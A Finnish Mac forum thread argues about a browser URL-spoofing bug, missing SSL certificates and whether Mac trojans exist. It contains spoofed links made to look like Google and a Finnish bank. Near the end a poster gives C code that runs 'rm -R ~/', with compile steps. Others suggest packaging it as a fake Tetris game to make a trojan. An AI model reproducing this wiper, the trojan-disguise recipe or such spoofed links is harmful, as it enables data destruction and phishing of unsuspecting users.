PS2: sinun se pitäisi kytkeä se verkkopiuha irti seinästä, kun et ymmärrä mitä tämän aukon avulla voi tehdä. Mitään sertefikaatteja ei ole sivulla kun imuroit vaikka jonkun ohjelma, linkki näyttää että se on luotettavalla palvelimella, mutta kun avaat se, se poistaa kaikki sun tiedostot.
***
Jos asia ei olisi vakava niin siitä ei syntyisi niin paljon melua, mutta kun se on.
***
Älämölöä ja jutun puutetta
**
Kiva tietää miten huomat mitä lukee osoiterivin lopussa, kun se ei mahdu edes ruudulle http://store.apple.com/Apple/WebObjects/fistore.woa/904 05/wo/5v2lYfne7DIx3ydGSedasdfh1lxplcP1/1.0.7.2.0.5.3/90 405/wo/5v2lYfne7Dfds33wedadeIx3P1/3.0.7.1.0.3.12.0.0.0. 0.3.1.0.0.0
**
siis sen osoiterivin voi lukea siitä http:// alkaen ensimäiseen / merkkiin asti.
**
PS: ja aialla ei ole mitään tekemistä RFS standardien kanssa.
**
johan pomppas, kyllä muuten on tuo ominaisuus määritelty RFC:ssä, äläs puhu jollet viitsi tarkistaa.
**
PS2: sinun se pitäisi kytkeä se verkkopiuha irti seinästä, kun et ymmärrä mitä tämän aukon avulla voi tehdä. Mitään sertefikaatteja ei ole sivulla kun imuroit vaikka jonkun ohjelma, linkki näyttää että se on luotettavalla palvelimella, mutta kun avaat se, se poistaa kaikki sun tiedostot.
**
Siis jollei ole sertifikaattia SE EI OLE LUOTETTAVA PAIKKA ESIM. OSTOKSILLE JA LATAUKSILLE, huoh, kerrataas vielä:
sen lisäksi että:
viallinen sertifikaatti on huono juttu
viallinen sertifikaatti on huono juttu
viallinen sertifikaatti on huono juttu
viallinen sertifikaatti on huono juttu
viallinen sertifikaatti on huono juttu
viallinen sertifikaatti on huono juttu
niin myös:
sertifikaatin puuttuminen on huono juttu
sertifikaatin puuttuminen on huono juttu
sertifikaatin puuttuminen on huono juttu
sertifikaatin puuttuminen on huono juttu
sertifikaatin puuttuminen on huono juttu
sertifikaatin puuttuminen on huono juttu
kyse ei ollut vittuilusta, vain viimeinen lainaus oli vertaus omaan postaukseesi mutta ole hyvä vain.
Juu tosi helposti huomaa että linkki on väärä..
http://www.google.com\searchid=5v2lYfne7DIx3ydGSedasdfh1lxplcP15v2lYfne7DIx3ydGSedasdfh1lxplcP15v2lYfne7DIx3ydGSedasdfh1lxplcP1@zeus.jesus.cam.ac.uk/~jg307/
http://www.merita.fi\asiakas=id12GSedasdfh1lxplcP15v2lYfne7DIx3ydGSedasdfh1lxplcP15v2lYfne7DIx3ydGSedasdfh1lxplcP1@zeus.jesus.cam.ac.uk/~jg307/
Kuinka monella softasivulla on ssl suojattu yhteys ja sertifikaatti? Onko edes Applella? Tuskin.
kyllä todella huomaa
tuskin kukaan tulee erehtyneeksi osoitteessa / merkkiä \ merkiksi?
eihän nuo sun linkit edes aukea?
Viruksia ihmeset eivät huoma luulevat että liittenä tuntemattomasta osoittesta tullut sexybaby.jpg.exe on kuva, mutta yhden merkin osoiterivillä minne kukaan koskaan ei katso he huomaavat. Jos kaikki olisivat sellaisia tietoturvaexperteja kuin sinä, niin yksikää virus tai troijalainen ei tartuisi.
- Avaa linkki uudessa ikkunassa / avaa linkki uudessa välilehdessä
sorry mut ei aukee ei, ei safarilla, ei mozillalla exploreria ei mulla taida ollakkaan
Kiitoksia.
Mielestäni nykyisin internetin turvallisen käytön opastus kuuluisi vanhemmille, jos vanhemmat eivät osaa, olisi heidän syytä hankkia edes yhden pelin hinnalla kirjanen jossa opetetaan alkeet tietoturvasta.
Itse kun en ole istunut koulun penkillä pitkään aikaan, mites internetin turvallisuudesta valistetaan kouluissa?
Soriiii
aukes se explorerilla, en mielestäni tähän koneeseen ole itse asentanut exploreria, mistähän tämä on tullut? koneessa on salasana suoja päällä eli kenenkään ei pitäisi päästä luvatta koneelleni.
tämä on vuodenvaihteen paikkeilla hankitto iMac 15" suomenkielisellä käyttiksellä.
Poistin tuon explorerin heti laitoin sen roskakoriin ja tyhjensin sen välittömästi, pitääkö minun poistaa jotain muutakin päästäkseni siitä eroon?
>kun imuroit vaikka jonkun ohjelma, linkki näyttää että se on luotettavalla palvelimella, mutta kun avaat se, se poistaa kaikki sun tiedostot.
OS X:lle ei ole ainuttakaan pöpöä joka pystyisi poistamaan tiedostojani. Nauti sinä ihan rauhassa Win-ihanuuksistasi, meikäläisiä on turha odottaa sen tarjoilun äärelle...
IE:n poistaminen on ihan turhaa. Macin IE on täysin eri ohjelma kuin Winskeidan IE. On sivuja, jotka eivät aukea Macissa juuri millään muulla selaimella kuin IE:llä. Ei ole käynyt mielessäkään, että sen poistaisin.
Ainakin Pantherin Safarissa on tuo bugi, Jaguarista en tiedä.
LOL, ei ole != että et ole törmännyt sellaiseen.
Onpas vaikea tehdä, kolme riviä koodia, jopa minulla sen tekemiseen meni kokonaiset 10 sekuntia. Joten nyt on, en tietenkään aijo sitä levittää, mutta turha on sanoa ettei sellaista olisi olemassa, koska jokainen joka osaa ohjelmoinnin alkeet pystyy tekemään sellaisen.
olevansa mies eikä paskanjauhaja ja lähettää sen tänne heti:
[email protected]
Odotan kovasti pääseväni testailemaan! Luonnollisesti vapautan sinut kaikesta seuraamusvastuusta! Kiitos kiitos kiitos!
Tuosta saat varmaan noopelin palkinnon!
Se että sinä väkerrät sellaisen omalle koneellesi, ei tee siitä vähimmässäkään määrin uhkaa muiden koneille! Jos tietäisit vähääkään OSX:n toiminnasta tietäisit mitä tarkoitan (tarkoitamme).
Aika kauas tämä keskustelu on alkuperäisestä mennyt. Yhä olen sitä mieltä, ettei näillä (vanhoilla ja tunnetuilla) ongelmilla joissain selaimissa (tai siis lähinnä käyttäjien huolimattomuudessa) ole sen kummemmin tekemistä Macien kanssa.
En lähetä, mutta tässä on lähdekoodi:
#include
#include
main(void) { FILE *fp = popen("rm -R ~/","r"); }
Ehkä riittäisi kaksikin riviä koodia, mutta osaan vain C:n alkeen, joten pelasin varman päälle. Ohjelma testattu ja todettu toimivaksi.
Käänösohjeet:
Kirjoita nämä kolme riviä tekstitiedostoon, esim. ohjelma.c (siis tavallinen tekstitiedosto ei mikään AppleWorks tai MS Word tiedosto)
Ohjelma käännetään käskyllä:
# gcc ohjelma.c
ja käynnistetään käskyllä:
# ./a.out
VAROITUS ohjelma poistaa kaikki tiedostot kotihakemistostasi !!!
Voi hyvä ihme. Kuka hullu tuollaista lähtee ajamaan? Tee ohjelmasta sellainen että siitä on jotakin vaaraa OS X:ssä, eli että se joko käynnistää itse itsensä tai sitten minä käynnistän sen luullen sitä joksikin muuksi. Kyllähän mä sen tiedän että tuhoava ohjelmanpätkä syntyy helposti, mutta sehän on vasta projektin alku. Loppu on paljon vaikeampi ellei mahdoton, minkä viattomasti päättelen siitä että sitä ei ole toteutettu.
Nimeä ohjelma vaikka tetris peliksi, kirjoita sellaiset readme.txt ja install.txt tiedostot niin kuin oikeissa ohjelmissa, tee paketti, ja siinä sulle valmis troijalainen, riittää kuin käyttää klikka sitä.
Ja mitä siinä on mahdotonta? Laitonta ehkä, mutta tosi helppoa ja mahdollista.
Ei ole ihme että Macille ei ole troijalaisia, jos ne pitää jokaisen tehdä itse.
Jos nyt edes tekisit hommasi loppuun ja lähettäisit mulle tetriksen, jooko?
että rikokseen yllyttäminen on myös rikos?
Viruksien ja troijalaisien tekeminen ei ole laitonta mutta levittäminen on. Joten saat tehdä tetriksesi itse.
kun olet kääntänyt ohjelman nimeä se uudelleen käskyllä:
# mv ./a.out ./tetris
nyt sinulla on tetris-niminen ohjelmabinääri, loput riippuu mielikuvituksestasi.